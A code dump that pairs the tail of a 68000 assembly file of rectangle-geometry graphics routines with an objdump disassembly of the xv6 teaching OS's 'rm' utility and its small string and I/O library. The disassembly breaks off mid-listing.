V4(A6),TEMPRECT+BOTTOM(A6) BSR.S DORECT ;PAINT BOTTOM EDGE MOVE H1(A6),TEMPRECT+LEFT(A6) MOVE H2(A6),TEMPRECT+RIGHT(A6) MOVE V2(A6),TEMPRECT+TOP(A6) @1 BRA.S FILLED ;PAINT LEFT EDGE ;-------------------------------------------------------- ; ; LOCAL ROUTINE TO PAINT TEMPRECT, GIVEN IN LOCAL COORDS ; DORECT MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO LISAGRAF GLOBALS MOVE.L THEPORT(A0),A1 ;POINT TO CURRENT GRAFPORT PEA PORTBITS(A1) ;PUSH SRCBITS = DSTBITS MOVE.L (SP),-(SP) ;PUSH DSTBITS PEA TEMPRECT(A6) ;PUSH SRCRECT = DSTRECT MOVE.L (SP),-(SP) ;PUSH DSTRECT, LOCAL COORDS MOVE PNMODE(A1),-(SP) ;PUSH PEN MODE PEA PNPAT(A1) ;PUSH ADDR OF PEN PATTERN MOVE.L CLIPRGN(A1),-(SP) ;PUSH CLIPRGN MOVE.L VISRGN(A1),-(SP) ;PUSH VISRGN MOVE.L WIDEOPEN(A0),-(SP) ;PUSH WIDE OPEN JSR RGNBLT ;CALL RGNBLT RTS FILLED BSR DORECT ;FILL TEMPRECT SOLID GOHOME UNLINK 4,'FRRECT ' .PROC SetRect,5 ;---------------------------------------------------------- ; ; PROCEDURE SetRect(VAR r: Rect; left,top,right,bottom: INTEGER); ; { assign 4 integers into a rectangle } ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE.L (SP)+,D1 ;POP BOTRIGHT POINT MOVE.L (SP)+,D0 ;POP TOPLEFT POINT MOVE.L (SP)+,A1 ;POP ADDR OF RECT MOVE.L D0,(A1)+ ;INSTALL TOPLEFT MOVE.L D1,(A1)+ ;INSTALL BOTRIGHT JMP (A0) ;RETURN .FUNC EqualRect,2 ;---------------------------------------------------------- ; ; FUNCTION EqualRect(rect1,rect2: Rect): BOOLEAN; ; ; CLOBBERS D0,A0,A1. ; MOVE.L (SP)+,D0 ;POP RETURN ADDR MOVE.L (SP)+,A1 ;POP ADDR OF RECT2 MOVE.L (SP)+,A0 ;POP ADDR OF RECT1 CMPM.L (A0)+,(A1)+ ;IS TOPLEFT SAME ? BNE.S FALSE ;NO, RETURN FALSE CMPM.L (A0)+,(A1)+ ;YES, IS BOTRIGHT SAME TOO ? BNE.S FALSE ;NO, RETURN FALSE MOVE.B #1,(SP) ;YES, RETURN TRUE BRA.S DONE ;AND QUIT FALSE CLR.B (SP) ;RETURN FALSE DONE MOVE.L D0,-(SP) ;PUSH RETURN ADDR RTS ;AND RETURN .FUNC EmptyRect,1 ;---------------------------------------------------------- ; ; FUNCTION EmptyRect(r: Rect): BOOLEAN; ; ; CLOBBERS D0,D1,A0,A1. ; MOVE.L (SP)+,A1 ;POP RETURN ADDR MOVE.L (SP)+,A0 ;POP ADDR OF RECT MOVE (A0)+,D0 ;GET TOP MOVE (A0)+,D1 ;GET LEFT CMP (A0)+,D0 ;IS TOP >= BOTTOM ? BGE.S EMPTY ;YES, RETURN TRUE CMP (A0)+,D1 ;IS LEFT >= RIGHT ? BGE.S EMPTY ;YES, RETURN TRUE CLR.B (SP) ;NOT EMPTY, RETURN FALSE BRA.S DONE ;AND QUIT EMPTY MOVE.B #1,(SP) ;RETURN TRUE DONE JMP (A1) ;RETURN .PROC OffsetRect,3 ;---------------------------------------------------------- ; ; PROCEDURE OffsetRect(VAR r: Rect; dh,dv: INTEGER); ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE (SP)+,D1 ;POP DV MOVE (SP)+,D0 ;POP DH MOVE.L (SP)+,A1 ;POP ADDR OF RECT ADD D1,(A1)+ ;TOP:=TOP+DV ADD D0,(A1)+ ;LEFT:=LEFT+DH ADD D1,(A1)+ ;BOTTOM:=BOTTOM+DV ADD D0,(A1)+ ;RIGHT:=RIGHT+DH JMP (A0) ;RETURN .PROC InsetRect,3 ;---------------------------------------------------------- ; ; PROCEDURE InsetRect(VAR r: Rect; dh,dv: INTEGER); ; { inset a rectangle on all 4 sides } ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE (SP)+,D1 ;POP DV MOVE (SP)+,D0 ;POP DH MOVE.L (SP)+,A1 ;POP ADDR OF RECT ADD D1,(A1)+ ;ADD DV TO TOP ADD D0,(A1)+ ;ADD DH TO LEFT SUB D1,(A1)+ ;SUBTRACT DV FROM BOTTOM SUB D0,(A1)+ ;SUBTRACT DH FROM RIGHT DONE JMP (A0) ;RETURN .FUNC SectRect,3 .DEF RSect ;--------------------------------------------------------- ; ; FUNCTION SectRect(srcA,srcB: Rect; VAR dstC: Rect): BOOLEAN; ; ; Returns TRUE and intersection in dst, ; else FALSE and dst = 0,0,0,0. ; Dst may also be used as one of the inputs ; ; ; A6 OFFSETS OF PARAMETERS AFTER LINK: ; PARAMSIZE .EQU 12 ;SIZE OF PARAMETERS RESULT .EQU PARAMSIZE+8 ;BOOLEAN RESULT SRCA .EQU RESULT-4 ;LONG, ADDR OF RECTANGLE SRCB .EQU SRCA-4 ;LONG, ADDR OF RECTANGLE DST .EQU SRCB-4 ;LONG, ADDR OF RECTANGLE LINK A6,#0 ;NO LOCAL VARS MOVE.L SRCA(A6),-(SP) ;PUSH SRCA POINTER MOVE.L SRCB(A6),-(SP) ;PUSH SRCB POINTER MOVE #2,-(SP) ;PUSH NRECTS=2 MOVE.L DST(A6),-(SP) ;PUSH DST POINTER BSR.S RSECT ;CALC INTERSECTION SNE RESULT(A6) ;STORE BOOLEAN RESULT NEG.B RESULT(A6) ;CONVERT $FF TO $01 NOTEMPTY UNLINK PARAMSIZE,'SECTRECT' ;--------------------------------------------------- ; ; ASSEMBLY CALLABLE ROUTINE TO COMPUTE THE INTERSECTION OF ; ANY NUMBER OF RECTANGLES. ; ; INPUTS: PUSH ADDRESSES OF EACH INPUT RECTANGLE (LONGS) ; PUSH # OF RECTANGLES (WORD) ; PUSH ADDRESS OF OUTPUT RECTANGLE (LONG) ; ; RETURNS DST=(0,0,0,0) AND Z-FLAG SET IF NO INTERSECTION ; ; CLOBBERS: D0,A0 ; RSECT LINK A6,#0 MOVEM.L D1-D4/A1,-(SP) ;SAVE REGS LEA 12(A6),A1 ;POINT TO NRECTS MOVE (A1)+,D0 ;GET NRECTS COUNT BLE.S EMPTY ;EMPTY IF NRECTS <= 0 MOVE.L (A1)+,A0 ;POINT TO FIRST RECT MOVEM.W (A0)+,D1/D2/D3/D4 ;GET TOP, LEFT, BOT, RIGHT SUB #1,D0 ;DECREMENT RECT COUNT BRA.S RTOK ;CHECK THIS RECT AND LOOP NEXTRECT MOVE.L (A1)+,A0 ;POINT TO NEXT RECT CMP (A0)+,D1 ;IS TOP < NEXT TOP ? BGE.S TOPOK ;NO, CONTINUE MOVE -2(A0),D1 ;YES, TOP:=NEXT TOP TOPOK CMP (A0)+,D2 ;IS LEFT < NEXT LEFT ? BGE.S LEFTOK ;NO, CONTINUE MOVE -2(A0),D2 ;YES, LEFT:=NEXT LEFT LEFTOK CMP (A0)+,D3 ;IS BOTTOM > NEXT BOT ? BLE.S BOTOK ;NO, CONTINUE MOVE -2(A0),D3 ;YES, BOTTOM:=NEXT BOT BOTOK CMP (A0)+,D4 ;IS RIGHT > NEXT RIGHT ? BLE.S RTOK ;NO, CONTINUE MOVE -2(A0),D4 ;YES, RIGHT:=NEXT RIGHT RTOK CMP D1,D3 ;IS BOTTOM <= TOP ? BLE.S EMPTY ;YES, EMPTY CMP D2,D4 ;IS RIGHT <= LEFT ? BLE.S EMPTY ;YES, EMPTY DBRA D0,NEXTRECT ;LOOP FOR ALL RECTANGLES BRA.S DONE EMPTY CLR D1 ;ALL EMPTY RECTS ARE (0,0,0,0) CLR D2 CLR D3 CLR D4 DONE MOVE.L 8(A6),A0 ;GET DST ADDR MOVE D1,(A0)+ ;STORE DST TOP MOVE D2,(A0)+ ;DST LEFT MOVE D3,(A0)+ ;DST BOT MOVE D4,(A0)+ ;DST RIGHT MOVE 12(A6),D0 ;GET NRECTS COUNT AGAIN LSL #2,D0 ;TIMES 4 BYTES PER RECTANGLE ADD #6,D0 ;PLUS 6 BYTES FOR NRECTS AND DSTPTR CMP D1,D3 ;SET Z-FLAG IF EMPTY RECT MOVEM.L (SP)+,D1-D4/A1 ;RESTORE REGS UNLK A6 ;RELEASE STATIC FRAME PTR MOVE.L (SP)+,A0 ;POP RETURN ADDR ADD D0,SP ;STRIP VARIABLE NUMBER OF PARAMS JMP (A0) ;RETURN WITH Z-FLAG IF EMPTY .PROC UnionRect,3 .DEF Pt2Rect ;---------------------------------------------------------- ; ; PROCEDURE UnionRect(* src1,src2: Rect; VAR dst: Rect *); ; ; { compute smallest rectangle containing both input rectangles } ; { works correctly even if one of the sources is the destination } ; MOVE.L 12(SP),A0 ;GET ADDR OF SRC1 MOVE.L 8(SP),A1 ;GET ADDR OF SRC2 MOVE (A0)+,D0 ;TOP:=TOP1 CMP (A1)+,D0 ;IS TOP2 < TOP ? BLE.S TOPOK ;NO, CONTINUE MOVE -2(A1),D0 ;YES, TOP:=TOP2 TOPOK SWAP D0 ;PUT TOP IN HI WORD MOVE (A0)+,D0 ;LEFT:=LEFT1 CMP (A1)+,D0 ;IS LEFT2 < LEFT ? BLE.S LEFTOK ;NO, CONTINUE MOVE -2(A1),D0 ;YES, LEFT:=LEFT2 LEFTOK MOVE (A0)+,D1 ;BOTTOM:=BOTTOM1 CMP (A1)+,D1 ;IS BOTTOM2 > BOTTOM ? BGE.S BOTOK ;NO, CONTINUE MOVE -2(A1),D1 ;YES, BOTTOM:=BOTTOM2 BOTOK SWAP D1 ;PUT BOTTOM IN HI WORD MOVE (A0)+,D1 ;RIGHT:=RIGHT1 CMP (A1)+,D1 ;IS RIGHT2 > RIGHT1 ? BGE.S RIGHTOK ;NO, CONTINUE MOVE -2(A1),D1 ;YES, RIGHT:=RIGHT2 RIGHTOK MOVE.L 4(SP),A0 ;POINT TO DST RECT MOVE.L D0,(A0)+ ;INSTALL TOPLEFT MOVE.L D1,(A0)+ ;INSTALL BOTRIGHT BRA.S SHARE ;STRIP 3 PARAMETERS AND RETURN ;---------------------------------------------------------- ; ; PROCEDURE Pt2Rect(* pt1,pt2: Point; VAR dst: Rect *); ; ; { make a rectangle from two points } ; Pt2Rect MOVE.L 4(SP),A0 ;POINT TO DST RECT MOVE 14(SP),D0 ;GET H1 MOVE 10(SP),D1 ;GET H2 CMP D0,D1 ;IS H2 < H1 ? BGE.S HOK ;NO, CONTINUE EXG D0,D1 ;YES, SWAP THEM HOK MOVE D0,LEFT(A0) ;INSTALL DST LEFT = MIN(H1,H2) MOVE D1,RIGHT(A0) ;INSTALL DST RIGHT = MAX(H1,H2) MOVE 12(SP),D0 ;GET V1 MOVE 8(SP),D1 ;GET V2 CMP D0,D1 ;IS V2 < V1 ? BGE.S VOK ;NO, CONTINUE EXG D0,D1 ;YES, SWAP THEM VOK MOVE D0,TOP(A0) ;INSTALL DST TOP = MIN(V1,V2) MOVE D1,BOTTOM(A0) ;INSTALL DST BOTTOM = MAX(V1,V2) SHARE MOVE.L (SP)+,A0 ;POP RETURN ADDR ADD #12,SP ;STRIP 3 PARAMETERS JMP (A0) ;AND RETURN .FUNC PtInRect,2 ;------------------------------------------------------------ ; ; FUNCTION PtInRect(pt: Point; r: Rect): BOOLEAN; ; ; Returns TRUE if point is within the rectangle. ; ; A6 OFFSETS OF PARAMETERS AFTER LINK: ; PARAMSIZE .EQU 8 ;SIZE OF PARAMETERS RESULT .EQU PARAMSIZE+8 ;A6 OFFSETS AFTER LINK PT .EQU RESULT-4 ;POINT, VALUE R .EQU PT-4 ;LONG, ADDR OF RECTANGLE LINK A6,#0 ;NO LOCAL VARS MOVE.L R(A6),A0 ;GET RECT PTR MOVE PT+H(A6),D0 ;GET HORIZ COORD MOVE PT+V(A6),D1 ;GET VERT COORD CLR.B RESULT(A6) ;INIT BOOLEAN TO FALSE CMP (A0)+,D1 ;IS PT.V < TOP ? BLT.S FALSE ;YES, QUIT CMP (A0)+,D0 ;IS PT.H < LEFT ? BLT.S FALSE ;YES, QUIT CMP (A0)+,D1 ;IS PT.V >= BOTTOM ? BGE.S FALSE ;YES, QUIT CMP (A0)+,D0 ;IS PT.H >= RIGHT ? BGE.S FALSE ;YES, QUIT ADDQ.B #1,RESULT(A6) ;RETURN BOOLEAN TRUE FALSE UNLINK PARAMSIZE,'PTINRECT' .PROC PutRect,4 .REF SetSize ;---------------------------------------------------------------- ; ; PROCEDURE PutRect(r: Rect; bufHandle: Handle; VAR index,size: INTEGER); ; ; Puts the four inversion points of a rectangle ; ; Clobbers D0,A0,A1 ; ; A6 OFFSETS OF PARAMETERS AFTER LINK: ; PARAMSIZE .EQU 16 ;TOTAL SIZE OF PARAMETERS RECT .EQU PARAMSIZE+8-4 ;LONG, ADDR OF RECT BUFHANDLE .EQU RECT-4 ;LONG, HANDLE INDEX .EQU BUFHANDLE-4 ;LONG, ADDR OF INTEGER SIZE .EQU INDEX-4 ;LONG, ADDR OF INTEGER LINK A6,#0 ;NO LOCAL VARIABLES ;------------------------------------------------------------ ; ; IS THERE ROOM FOR FOUR NEW POINTS IN THE POINT BUFFER ? ; MOVE.L INDEX(A6),A0 ;POINT TO INDEX MOVE.L SIZE(A6),A1 ;POINT TO SIZE MOVEQ #16,D0 ADD (A0),D0 ;GET CURRENT INDEX + 16 CMP (A1),D0 ;IS NEW INDEX > SIZE ? BLE.S SIZEOK ;NO, CONTINUE ;------------------------------------------------------------- ; ; NO, GROW THE POINT BUFFER ENOUGH FOR 256 MORE POINTS ; ADD #1024,(A1) ;ADD 1024 TO SIZE MOVEM.L D3/A2,-(SP) ;SAVE REGS MOVE.L BUFHANDLE(A6),-(SP) ;PUSH HANDLE PARAM MOVE (A1),-(SP) ;PUSH NEW SIZE JSR SETSIZE ;MAKE THE BUFFER BIGGER MOVEM.L (SP)+,D3/A2 ;RESTORE REGS MOVE.L INDEX(A6),A0 ;POINT TO INDEX AGAIN ;------------------------------------------------------------ ; ; NOW INSTALL THE 4 NEW INVERSION POINTS ; SIZEOK MOVE.L BUFHANDLE(A6),A1 ;GET BUFHANDLE MOVE.L (A1),A1 ;DE-REFERENCE HANDLE ADD (A0),A1 ;ADD INDEX FOR POINTER ADD #16,(A0) ;BUMP INDEX MOVE.L RECT(A6),A0 ;POINT TO RECTANGLE MOVE.L TOPLEFT(A0),(A1)+ ;PUT TOPLEFT POINT MOVE TOP(A0),(A1)+ ;PUT TOP-RIGHT POINT MOVE RIGHT(A0),(A1)+ MOVE BOTTOM(A0),(A1)+ ;PUT BOTTOM-LEFT POINT MOVE LEFT(A0),(A1)+ MOVE.L BOTRIGHT(A0),(A1)+ ;PUT BOTRIGHT POINT UNLINK PARAMSIZE,'PUTRECT ' .END
rm.asm
danilocapkob/xv6plus
1
243326
<gh_stars>1-10 _rm: file format elf32-i386-freebsd Disassembly of section .text: 00000000 <main>: #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl 0xfffffffc(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 24 sub $0x24,%esp 11: 89 4d e8 mov %ecx,0xffffffe8(%ebp) int i; if(argc < 2){ 14: 8b 45 e8 mov 0xffffffe8(%ebp),%eax 17: 83 38 01 cmpl $0x1,(%eax) 1a: 7f 19 jg 35 <main+0x35> printf(2, "Usage: rm files...\n"); 1c: c7 44 24 04 c4 10 00 movl $0x10c4,0x4(%esp) 23: 00 24: c7 04 24 02 00 00 00 movl $0x2,(%esp) 2b: e8 10 05 00 00 call 540 <printf> exit(); 30: e8 ff 02 00 00 call 334 <exit> } for(i = 1; i < argc; i++){ 35: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp) 3c: eb 46 jmp 84 <main+0x84> if(unlink(argv[i]) < 0){ 3e: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 41: c1 e0 02 shl $0x2,%eax 44: 8b 55 e8 mov 0xffffffe8(%ebp),%edx 47: 03 42 04 add 0x4(%edx),%eax 4a: 8b 00 mov (%eax),%eax 4c: 89 04 24 mov %eax,(%esp) 4f: e8 30 03 00 00 call 384 <unlink> 54: 85 c0 test %eax,%eax 56: 79 28 jns 80 <main+0x80> printf(2, "rm: %s failed to delete\n", argv[i]); 58: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 5b: c1 e0 02 shl $0x2,%eax 5e: 8b 55 e8 mov 0xffffffe8(%ebp),%edx 61: 03 42 04 add 0x4(%edx),%eax 64: 8b 00 mov (%eax),%eax 66: 89 44 24 08 mov %eax,0x8(%esp) 6a: c7 44 24 04 d8 10 00 movl $0x10d8,0x4(%esp) 71: 00 72: c7 04 24 02 00 00 00 movl $0x2,(%esp) 79: e8 c2 04 00 00 call 540 <printf> break; 7e: eb 0e jmp 8e <main+0x8e> 80: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp) 84: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 87: 8b 55 e8 mov 0xffffffe8(%ebp),%edx 8a: 3b 02 cmp (%edx),%eax 8c: 7c b0 jl 3e <main+0x3e> } } exit(); 8e: e8 a1 02 00 00 call 334 <exit> 93: 90 nop 94: 90 nop 95: 90 nop 96: 90 nop 97: 90 nop 98: 90 nop 99: 90 nop 9a: 90 nop 9b: 90 nop 9c: 90 nop 9d: 90 nop 9e: 90 nop 9f: 90 nop 000000a0 <strcpy>: #include "user.h" char* strcpy(char *s, char *t) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 83 ec 10 sub $0x10,%esp char *os; os = s; a6: 8b 45 08 mov 0x8(%ebp),%eax a9: 89 45 fc mov %eax,0xfffffffc(%ebp) while((*s++ = *t++) != 0) ac: 8b 45 0c mov 0xc(%ebp),%eax af: 0f b6 10 movzbl (%eax),%edx b2: 8b 45 08 mov 0x8(%ebp),%eax b5: 88 10 mov %dl,(%eax) b7: 8b 45 08 mov 0x8(%ebp),%eax ba: 0f b6 00 movzbl (%eax),%eax bd: 84 c0 test %al,%al bf: 0f 95 c0 setne %al c2: 83 45 08 01 addl $0x1,0x8(%ebp) c6: 83 45 0c 01 addl $0x1,0xc(%ebp) ca: 84 c0 test %al,%al cc: 75 de jne ac <strcpy+0xc> ; return os; ce: 8b 45 fc mov 0xfffffffc(%ebp),%eax } d1: c9 leave d2: c3 ret d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi d9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi 000000e0 <strcmp>: int strcmp(const char *p, const char *q) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp while(*p && *p == *q) e3: eb 08 jmp ed <strcmp+0xd> p++, q++; e5: 83 45 08 01 addl $0x1,0x8(%ebp) e9: 83 45 0c 01 addl $0x1,0xc(%ebp) ed: 8b 45 08 mov 0x8(%ebp),%eax f0: 0f b6 00 movzbl (%eax),%eax f3: 84 c0 test %al,%al f5: 74 10 je 107 <strcmp+0x27> f7: 8b 45 08 mov 0x8(%ebp),%eax fa: 0f b6 10 movzbl (%eax),%edx fd: 8b 45 0c mov 0xc(%ebp),%eax 100: 0f b6 00 movzbl (%eax),%eax 103: 38 c2 cmp %al,%dl 105: 74 de je e5 <strcmp+0x5> return (uchar)*p - (uchar)*q; 107: 8b 45 08 mov 0x8(%ebp),%eax 10a: 0f b6 00 movzbl (%eax),%eax 10d: 0f b6 d0 movzbl %al,%edx 110: 8b 45 0c mov 0xc(%ebp),%eax 113: 0f b6 00 movzbl (%eax),%eax 116: 0f b6 c0 movzbl %al,%eax 119: 89 d1 mov %edx,%ecx 11b: 29 c1 sub %eax,%ecx 11d: 89 c8 mov %ecx,%eax } 11f: 5d pop %ebp 120: c3 ret 121: eb 0d jmp 130 <strlen> 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <strlen>: uint strlen(char *s) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 136: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 13d: eb 04 jmp 143 <strlen+0x13> 13f: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp) 143: 8b 45 fc mov 0xfffffffc(%ebp),%eax 146: 03 45 08 add 0x8(%ebp),%eax 149: 0f b6 00 movzbl (%eax),%eax 14c: 84 c0 test %al,%al 14e: 75 ef jne 13f <strlen+0xf> ; return n; 150: 8b 45 fc mov 0xfffffffc(%ebp),%eax } 153: c9 leave 154: c3 ret 155: 8d 74 26 00 lea 0x0(%esi),%esi 159: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi 00000160 <memset>: void* memset(void *dst, int c, uint n) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 83 ec 10 sub $0x10,%esp char *d; d = dst; 166: 8b 45 08 mov 0x8(%ebp),%eax 169: 89 45 fc mov %eax,0xfffffffc(%ebp) while(n-- > 0) 16c: eb 0e jmp 17c <memset+0x1c> *d++ = c; 16e: 8b 45 0c mov 0xc(%ebp),%eax 171: 89 c2 mov %eax,%edx 173: 8b 45 fc mov 0xfffffffc(%ebp),%eax 176: 88 10 mov %dl,(%eax) 178: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp) 17c: 83 6d 10 01 subl $0x1,0x10(%ebp) 180: 83 7d 10 ff cmpl $0xffffffff,0x10(%ebp) 184: 75 e8 jne 16e <memset+0xe> return dst; 186: 8b 45 08 mov 0x8(%ebp),%eax } 189: c9 leave 18a: c3 ret 18b: 90 nop 18c: 8d 74 26 00 lea 0x0(%esi),%esi 00000190 <strchr>: char* strchr(const char *s, char c) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 83 ec 08 sub $0x8,%esp 196: 8b 45 0c mov 0xc(%ebp),%eax 199: 88 45 fc mov %al,0xfffffffc(%ebp) for(; *s; s++) 19c: eb 17 jmp 1b5 <strchr+0x25> if(*s == c) 19e: 8b 45 08 mov 0x8(%ebp),%eax 1a1: 0f b6 00 movzbl (%eax),%eax 1a4: 3a 45 fc cmp 0xfffffffc(%ebp),%al 1a7: 75 08 jne 1b1 <strchr+0x21> return (char*) s; 1a9: 8b 45 08 mov 0x8(%ebp),%eax 1ac: 89 45 f8 mov %eax,0xfffffff8(%ebp) 1af: eb 15 jmp 1c6 <strchr+0x36> 1b1: 83 45 08 01 addl $0x1,0x8(%ebp) 1b5: 8b 45 08 mov 0x8(%ebp),%eax 1b8: 0f b6 00 movzbl (%eax),%eax 1bb: 84 c0 test %al,%al 1bd: 75 df jne 19e <strchr+0xe> return 0; 1bf: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp) 1c6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax } 1c9: c9 leave 1ca: c3 ret 1cb: 90 nop 1cc: 8d 74 26 00 lea 0x0(%esi),%esi 000001d0 <gets>: char* gets(char *buf, int max) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 1d6: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp) 1dd: eb 46 jmp 225 <gets+0x55> cc = read(0, &c, 1); 1df: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1e6: 00 1e7: 8d 45 f7 lea 0xfffffff7(%ebp),%eax 1ea: 89 44 24 04 mov %eax,0x4(%esp) 1ee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1f5: e8 52 01 00 00 call 34c <read> 1fa: 89 45 fc mov %eax,0xfffffffc(%ebp) if(cc < 1) 1fd: 83 7d fc 00 cmpl $0x0,0xfffffffc(%ebp) 201: 7e 2d jle 230 <gets+0x60> break; buf[i++] = c; 203: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 206: 89 c2 mov %eax,%edx 208: 03 55 08 add 0x8(%ebp),%edx 20b: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax 20f: 88 02 mov %al,(%edx) 211: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp) if(c == '\n' || c == '\r') 215: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax 219: 3c 0a cmp $0xa,%al 21b: 74 13 je 230 <gets+0x60> 21d: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax 221: 3c 0d cmp $0xd,%al 223: 74 0b je 230 <gets+0x60> 225: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 228: 83 c0 01 add $0x1,%eax 22b: 3b 45 0c cmp 0xc(%ebp),%eax 22e: 7c af jl 1df <gets+0xf> break; } buf[i] = '\0'; 230: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 233: 03 45 08 add 0x8(%ebp),%eax 236: c6 00 00 movb $0x0,(%eax) return buf; 239: 8b 45 08 mov 0x8(%ebp),%eax } 23c: c9 leave 23d: c3 ret 23e: 89 f6 mov %esi,%esi 00000240 <stat>: int stat(char *n, struct stat *st) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 246: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 24d: 00 24e: 8b 45 08 mov 0x8(%ebp),%eax 251: 89 04 24 mov %eax,(%esp) 254: e8 1b 01 00 00 call 374 <open> 259: 89 45 f8 mov %eax,0xfffffff8(%ebp) if(fd < 0) 25c: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp) 260: 79 09 jns 26b <stat+0x2b> return -1; 262: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp) 269: eb 26 jmp 291 <stat+0x51> r = fstat(fd, st); 26b: 8b 45 0c mov 0xc(%ebp),%eax 26e: 89 44 24 04 mov %eax,0x4(%esp) 272: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 275: 89 04 24 mov %eax,(%esp) 278: e8 0f 01 00 00 call 38c <fstat> 27d: 89 45 fc mov %eax,0xfffffffc(%ebp) close(fd); 280: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 283: 89 04 24 mov %eax,(%esp) 286: e8 d1 00 00 00 call 35c <close> return r; 28b: 8b 45 fc mov 0xfffffffc(%ebp),%eax 28e: 89 45 ec mov %eax,0xffffffec(%ebp) 291: 8b 45 ec mov 0xffffffec(%ebp),%eax } 294: c9 leave 295: c3 ret 296: 8d 76 00 lea 0x0(%esi),%esi 299: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi 000002a0 <atoi>: int atoi(const char *s) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 83 ec 10 sub $0x10,%esp int n; n = 0; 2a6: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) while('0' <= *s && *s <= '9') 2ad: eb 24 jmp 2d3 <atoi+0x33> n = n*10 + *s++ - '0'; 2af: 8b 55 fc mov 0xfffffffc(%ebp),%edx 2b2: 89 d0 mov %edx,%eax 2b4: c1 e0 02 shl $0x2,%eax 2b7: 01 d0 add %edx,%eax 2b9: 01 c0 add %eax,%eax 2bb: 89 c2 mov %eax,%edx 2bd: 8b 45 08 mov 0x8(%ebp),%eax 2c0: 0f b6 00 movzbl (%eax),%eax 2c3: 0f be c0 movsbl %al,%eax 2c6: 8d 04 02 lea (%edx,%eax,1),%eax 2c9: 83 e8 30 sub $0x30,%eax 2cc: 89 45 fc mov %eax,0xfffffffc(%ebp) 2cf: 83 45 08 01 addl $0x1,0x8(%ebp) 2d3: 8b 45 08 mov 0x8(%ebp),%eax 2d6: 0f b6 00 movzbl (%eax),%eax 2d9: 3c 2f cmp $0x2f,%al 2db: 7e 0a jle 2e7 <atoi+0x47> 2dd: 8b 45 08 mov 0x8(%ebp),%eax 2e0: 0f b6 00 movzbl (%eax),%eax 2e3: 3c 39 cmp $0x39,%al 2e5: 7e c8 jle 2af <atoi+0xf> return n; 2e7: 8b 45 fc mov 0xfffffffc(%ebp),%eax } 2ea: c9 leave 2eb: c3 ret 2ec: 8d 74 26 00 lea 0x0(%esi),%esi 000002f0 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 2f0: 55 push %ebp 2f1: 89 e5 mov %esp,%ebp 2f3: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 2f6: 8b 45 08 mov 0x8(%ebp),%eax 2f9: 89 45 f8 mov %eax,0xfffffff8(%ebp) src = vsrc; 2fc: 8b 45 0c mov 0xc(%ebp),%eax 2ff: 89 45 fc mov %eax,0xfffffffc(%ebp) while(n-- > 0) 302: eb 13 jmp 317 <memmove+0x27> *dst++ = *src++; 304: 8b 45 fc mov 0xfffffffc(%ebp),%eax 307: 0f b6 10 movzbl (%eax),%edx 30a: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 30d: 88 10 mov %dl,(%eax) 30f: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp) 313: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp) 317: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 31b: 0f 9f c0 setg %al 31e: 83 6d 10 01 subl $0x1,0x10(%ebp) 322: 84 c0 test %al,%al 324: 75 de jne 304 <memmove+0x14> return vdst; 326: 8b 45 08 mov 0x8(%ebp),%eax } 329: c9 leave 32a: c3 ret 32b: 90 nop 0000032c <fork>: 32c: b8 01 00 00 00 mov $0x1,%eax 331: cd 30 int $0x30 333: c3 ret 00000334 <exit>: 334: b8 02 